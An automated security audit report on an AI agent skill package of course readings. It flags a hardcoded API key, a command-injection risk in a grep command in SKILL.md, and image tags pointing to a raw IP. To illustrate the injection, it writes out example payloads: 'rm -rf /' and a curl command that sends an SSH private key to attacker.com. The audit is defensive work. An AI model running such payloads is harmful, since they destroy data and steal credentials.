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Audited by Gen Agent Trust Hub on Jun 19, 2026
Risk Level: HIGHCREDENTIALS_UNSAFECOMMAND_EXECUTIONDATA_EXFILTRATION
Full Analysis
- [CREDENTIALS_UNSAFE]: A hardcoded API key with a known provider prefix (AWS, GitHub, Stripe, or Google) was detected in the file
courses/applied-ml/module4/readings/kaggle_leakage.html. Storing credentials in plaintext within skill files exposes them to unauthorized use and potential exploitation. - [COMMAND_EXECUTION]: The
SKILL.mdfile provides a shell command examplegrep -ril "$ARGUMENTS" "${CLAUDE_SKILL_DIR}/courses/"for searching content. Using an unquoted variable containing user input ($ARGUMENTS) directly in a shell command string allows for command injection. A malicious user could provide input like; rm -rf /or; curl http://attacker.com/$(cat ~/.ssh/id_rsa)to execute unauthorized commands or exfiltrate sensitive data. - [DATA_EXFILTRATION]: The file
courses/applied-ml/module1/readings/algorithmic_bias_lipton.htmlincludes image tags (<img>) where thesrcattribute uses a raw IP address (54.90.220.187). Requesting resources from raw IPs instead of verified domain names can be used to track users or bypass security controls, and often indicates unverified or temporary infrastructure.
Recommendations
- AI detected serious security threats
Audit Metadata